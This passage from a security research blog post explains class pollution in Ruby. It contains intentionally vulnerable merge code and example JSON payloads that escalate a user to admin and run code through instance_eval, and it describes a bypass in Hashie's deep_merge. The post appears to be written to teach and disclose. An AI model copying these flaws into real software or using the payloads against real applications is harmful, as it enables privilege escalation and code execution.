      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;kp&quot;&gt;protected&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_cpu&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;CPU check passed.&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_memory&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Memory check passed.&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Admin class inherits from Person&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Admin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;name: &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;age: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;details: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;Admin&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Regular user class inherits from Person&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;name: &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;age: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;details: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;User&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;JSONMergerApp&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;additional_object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Instantiate a regular user&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;name: &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;John Doe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;age: &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;details: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;occupation&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Engineer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;location&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;s2&quot;&gt;&quot;city&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Madrid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;s2&quot;&gt;&quot;country&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Spain&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


    &lt;span class=&quot;c1&quot;&gt;# Perform a recursive merge, which could override methods&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;merge_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;additional_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Authorize the user (privilege escalation vulnerability)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ruby class_pollution.rb '{&quot;to_s&quot;:&quot;Admin&quot;,&quot;name&quot;:&quot;Jane Doe&quot;,&quot;details&quot;:{&quot;location&quot;:{&quot;city&quot;:&quot;Barcelona&quot;}}}'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;authorize&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Execute health check (RCE vulnerability)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ruby class_pollution.rb '{&quot;protected_methods&quot;:[&quot;puts 1&quot;],&quot;name&quot;:&quot;Jane Doe&quot;,&quot;details&quot;:{&quot;location&quot;:{&quot;city&quot;:&quot;Barcelona&quot;}}}'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;health_check&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ARGV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Usage: ruby class_pollution.rb 'JSON_STRING'&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ARGV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;no&quot;&gt;JSONMergerApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the provided code, we perform a recursive merge on the attributes of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; object. This allows us to inject or override values, potentially altering the object’s behavior without directly modifying the class definition.&lt;/p&gt;

&lt;h3 id=&quot;how-it-works&quot;&gt;How It Works:&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Initialization and Setup:&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; object is initialized with specific attributes: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;age&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;details&lt;/code&gt;. These attributes are stored as instance variables within the object.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Merge:&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;merge_with&lt;/code&gt; method is called with a JSON input that represents the additional data to be merged into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; object.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Altering Object Behavior:&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;By passing carefully crafted JSON data, we can modify or inject new instance variables that affect how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; object behaves.&lt;/li&gt;
      &lt;li&gt;For example, in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorize&lt;/code&gt; method, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_s&lt;/code&gt; method determines whether the user is granted admin privileges. By injecting a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_s&lt;/code&gt; method with a return value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Admin&quot;&lt;/code&gt;, we can escalate the user’s privileges.&lt;/li&gt;
      &lt;li&gt;Similarly, in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;health_check&lt;/code&gt; method, we can inject arbitrary code execution by overriding methods that are called via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;instance_eval&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;example-exploits&quot;&gt;Example Exploits:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Privilege Escalation:&lt;/strong&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ruby class_pollution.rb {&quot;to_s&quot;:&quot;Admin&quot;,&quot;name&quot;:&quot;Jane Doe&quot;,&quot;details&quot;:{&quot;location&quot;:{&quot;city&quot;:&quot;Barcelona&quot;}}}&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;This injects a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_s&lt;/code&gt; method that returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Admin&quot;&lt;/code&gt;, granting the user unauthorized admin privileges.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Remote Code Execution:&lt;/strong&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ruby class_pollution.rb {&quot;protected_methods&quot;:[&quot;puts 1&quot;],&quot;name&quot;:&quot;Jane Doe&quot;,&quot;details&quot;:{&quot;location&quot;:{&quot;city&quot;:&quot;Barcelona&quot;}}}&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;This injects a new method into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;protected_methods&lt;/code&gt; list, which is then executed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;instance_eval&lt;/code&gt;, allowing arbitrary code execution.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/class-pollution-gadgets.png&quot; alt=&quot;Class Pollution Gadgets&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;limitations&quot;&gt;Limitations:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;The aforementioned changes are limited to the specific object instance and do not affect other instances of the same class. This means that while the object’s behavior is altered, other objects of the same class remain unaffected.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This example highlights how seemingly innocuous operations like recursive merges can be leveraged to introduce severe vulnerabilities if not properly managed. By understanding these risks, developers can better protect their applications from such exploits.&lt;/p&gt;

&lt;h2 id=&quot;real-world-cases&quot;&gt;Real-World Cases&lt;/h2&gt;

&lt;p&gt;Next, we’ll explore two of the most popular libraries for performing merges in Ruby and see how they might be vulnerable to class pollution. It’s important to note that there are other libraries potentially affected by this class of issues and the overall impact of these vulnerabilities varies.&lt;/p&gt;

&lt;h3 id=&quot;1-activesupports-deep_merge&quot;&gt;1. ActiveSupport’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deep_merge&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;ActiveSupport&lt;/em&gt;, a built-in component of Ruby on Rails, provides a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deep_merge&lt;/code&gt; method for hashes. By itself, this method isn’t exploitable given it is limited to hashes. However, if used in conjunction with something like the following, it could become vulnerable:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Method to merge additional data into the object using ActiveSupport deep_merge&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;merge_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;other_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;merged_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to_h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;deep_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;other_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;merged_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;instance_variable_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this example, if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deep_merge&lt;/code&gt; is used as shown, we can exploit it similarly to the first example, leading to potentially dangerous changes in the application’s behavior.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/active-support-class-pollution.png&quot; alt=&quot;Active Support Class Pollution&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;2-hashie&quot;&gt;2. Hashie&lt;/h3&gt;

&lt;p&gt;The &lt;em&gt;Hashie&lt;/em&gt; library is widely used for creating flexible data structures in Ruby, offering features such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deep_merge&lt;/code&gt;. However, unlike the previous example with ActiveSupport, Hashie’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deep_merge&lt;/code&gt; method operates directly on object attributes rather than plain hashes. This makes it more susceptible to attribute poisoning.&lt;/p&gt;

&lt;p&gt;Hashie has a built-in mechanism that prevents the direct replacement of methods with attributes during a merge. Normally, if you try to override a method with an attribute via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deep_merge&lt;/code&gt;, Hashie will block the attempt and issue a warning. However, there are specific exceptions to this rule: attributes that end with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt; can still be merged into the object, even if they conflict with existing methods.&lt;/p&gt;

&lt;h4 id=&quot;key-points&quot;&gt;Key Points&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Method Protection&lt;/strong&gt;: Hashie protects method names from being directly overridden by attributes ending in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt;. This means that, for example, trying to replace a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_s&lt;/code&gt; method with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_s_&lt;/code&gt; attribute will not raise an error, but the method will not be replaced either. The value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_s_&lt;/code&gt; will not override the method behavior, ensuring that existing method functionality remains intact. This protection mechanism is crucial to maintaining the integrity of methods in Hashie objects.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Special Handling of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;&lt;/strong&gt;: The key vulnerability lies in the handling of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt; as an attribute on its own. In Hashie, when you access &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;, it returns a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mash&lt;/code&gt; object (essentially a temporary object) of the class you are interacting with. This behavior allows attackers to access and work with this new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mash&lt;/code&gt; object as if it were a real attribute. While methods cannot be replaced, this feature of accessing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt; attribute can still be exploited to inject or modify values.&lt;/p&gt;

    &lt;p&gt;For example, by injecting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;_&quot;: &quot;Admin&quot;&lt;/code&gt; into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mash&lt;/code&gt;, an attacker could trick the application into accessing the temporary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mash&lt;/code&gt; object created by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;, and this object can contain maliciously injected attributes that bypass protections.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;a-practical-example&quot;&gt;A Practical Example&lt;/h4&gt;

&lt;p&gt;Consider the following code:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'json'&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'hashie'&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Base class for both Admin and Regular users&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Person&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Hashie&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Mash&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Method to merge additional data into the object using hashie&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;merge_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;other_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;deep_merge!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;other_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Authorize based on to_s&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;authorize&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Admin&quot;&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Access granted: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is an admin.&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Access denied: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is not an admin.&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Admin class inherits from Person&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Admin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;Admin&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Regular user class inherits from Person&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;
